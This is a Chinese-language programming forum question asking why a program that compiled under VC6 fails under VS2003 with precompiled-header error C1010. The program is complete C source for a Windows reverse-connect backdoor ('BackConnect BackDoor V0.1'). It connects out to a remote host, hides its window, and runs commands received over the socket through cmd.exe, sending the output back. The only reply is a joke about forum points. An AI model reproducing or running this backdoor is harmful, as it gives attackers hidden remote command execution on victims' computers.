以前VC6下面编译可以成功的程序,在VS2003下无法通过?
下面的程序在VC6下可以通过,VS2003下无法编译通过,出现的错误是
fatal error C1010:在查找预编译头指令时遇到以外的文件结尾!
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#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib ")
void main(int argc,char **argv)
{
char *messages = "\r\n======================== BackConnect BackDoor V0.1 ========================\r\n========= Welcome to Http://www.hackerxfiles.net =========\r\n ";
WSADATA WSAData;
SOCKET sock;
SOCKADDR_IN addr_in;
char buf1[1024]; //作为socket接收数据的缓冲区
memset(buf1,0,1024); //清空缓冲区
if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)
{
printf( "WSAStartup error.Error:d\n ",WSAGetLastError());
return;
}
addr_in.sin_family=AF_INET;
addr_in.sin_port=htons(80); //反向连接的远端主机端口
addr_in.sin_addr.S_un.S_addr=inet_addr( "127.0.0.1 "); //远端IP
if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)
{
printf( "Socket failed.Error:d\n ",WSAGetLastError());
return;
}
if(WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR) //连接客户主机
{
printf( "Connect failed.Error:d ",WSAGetLastError());
return;
}
if (send(sock,messages,strlen(messages),0)==SOCKET_ERROR) //发送欢迎信息
{
printf( "Send failed.Error:d\n ",WSAGetLastError());
return;
}
char buffer[2048] = {0};//管道输出的数据
for(char cmdline[270];;memset(cmdline,0,sizeof(cmdline))){
SECURITY_ATTRIBUTES sa;//创建匿名管道用于取得cmd的命令输出
HANDLE hRead,hWrite;
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor = NULL;
sa.bInheritHandle = TRUE;
if (!CreatePipe(&hRead,&hWrite,&sa,0))
{
printf( "Error On CreatePipe() ");
return;
}
STARTUPINFO si;
PROCESS_INFORMATION pi;
si.cb = sizeof(STARTUPINFO);
GetStartupInfo(&si);
si.hStdError = hWrite;
si.hStdOutput = hWrite;
si.wShowWindow = SW_HIDE;
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
GetSystemDirectory(cmdline,MAX_PATH+1);
strcat(cmdline, "\\cmd.exe /c ");
int len=recv(sock,buf1,1024,NULL);
if(len==SOCKET_ERROR)exit(0); //如果客户端断开连接,则自动退出程序
if(len <=1){send(sock, "error\n ",sizeof( "error\n "),0);continue;}
strncat(cmdline,buf1,strlen(buf1)); //把命令参数复制到cmdline
if (!CreateProcess(NULL,cmdline,NULL,NULL,TRUE,NULL,NULL,NULL,&si,&pi))
{
send(sock, "Error command\n ",sizeof( "Error command\n "),0);
continue;
}
CloseHandle(hWrite);
//循环读取管道中数据并发送,直到管道中没有数据为止
for(DWORD bytesRead;ReadFile(hRead,buffer,2048,&bytesRead,NULL);memset(buffer,0,2048))
{
send(sock,buffer,strlen(buffer),0);
}
}
}
[解决办法]
LZ。。。强人!
在这个页面里, Ctrl+F,搜索管理,然后点管理这个连接。。然后就可以给分了